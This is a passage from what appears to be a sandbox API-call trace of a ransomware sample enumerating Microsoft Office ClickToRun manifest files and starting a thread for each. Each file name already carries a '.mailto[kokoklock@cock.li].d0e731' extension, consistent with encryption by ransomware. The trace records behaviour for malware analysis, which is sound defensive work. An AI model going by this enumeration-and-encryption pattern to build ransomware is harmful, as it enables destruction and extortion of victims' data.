Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0173.923] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x858bb5c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2RMAN~3.D0E")) returned 1 [0173.923] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.923] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.923] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x30463b0 [0173.923] wcscpy (in: _Dest=0x30463b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.923] wcscat (in: _Dest=0x30463b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.923] wcscat (in: _Dest=0x30463b0, _Source="C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30463b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0173.924] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85848d39, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2RMAN~2.D0E")) returned 1 [0173.924] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.924] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x2f8f458 [0173.924] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.924] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.924] wcscat (in: _Dest=0x2f8f458, _Source="C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0173.925] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x858bb5c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2RMAN~4.D0E")) returned 1 [0173.925] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.925] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f8f598 [0173.925] wcscpy (in: _Dest=0x2f8f598, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.925] wcscat (in: _Dest=0x2f8f598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.925] wcscat (in: _Dest=0x2f8f598, _Source="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0173.926] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8590797f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x271a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C23C78~1.D0E")) returned 1 [0173.926] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.926] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3046140 [0173.926] wcscpy (in: _Dest=0x3046140, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.926] wcscat (in: _Dest=0x3046140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.926] wcscat (in: _Dest=0x3046140, _Source="C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0173.929] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c9b1f8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2B2D0~1.D0E")) returned 1 [0173.929] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.929] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fa0b10 [0173.929] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.929] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.929] wcscat (in: _Dest=0x2fa0b10, _Source="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0173.930] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c02946, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9030, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C239C6~1.D0E")) returned 1 [0173.930] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.930] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x3046008 [0173.930] wcscpy (in: _Dest=0x3046008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.930] wcscat (in: _Dest=0x3046008, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.930] wcscat (in: _Dest=0x3046008, _Source="C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0173.931] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c02946, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x904e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2180B~1.D0E")) returned 1 [0173.931] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.931] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.931] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fa0c60 [0173.931] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.931] wcscat (in: _Dest=0x2fa0c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.931] wcscat (in: _Dest=0x2fa0c60, _Source="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0173.932] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c02946, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C298B6~1.D0E")) returned 1 [0173.932] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.932] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x3046758 [0173.932] wcscpy (in: _Dest=0x3046758, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.932] wcscat (in: _Dest=0x3046758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.932] wcscat (in: _Dest=0x3046758, _Source="C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0173.933] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85be0aef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1985c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C29888~1.D0E")) returned 1 [0173.933] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.933] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa0db0 [0173.933] wcscpy (in: _Dest=0x2fa0db0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.933] wcscat (in: _Dest=0x2fa0db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.933] wcscat (in: _Dest=0x2fa0db0, _Source="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0173.934] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c28b70, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C24A3E~1.D0E")) returned 1 [0173.934] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.934] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.934] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x30464e8 [0173.934] wcscpy (in: _Dest=0x30464e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.934] wcscat (in: _Dest=0x30464e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.934] wcscat (in: _Dest=0x30464e8, _Source="C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30464e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0173.935] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c4eeb8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2E996~1.D0E")) returned 1 [0173.935] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.935] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2f8d3b0 [0173.935] wcscpy (in: _Dest=0x2f8d3b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.935] wcscat (in: _Dest=0x2f8d3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.935] wcscat (in: _Dest=0x2f8d3b0, _Source="C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 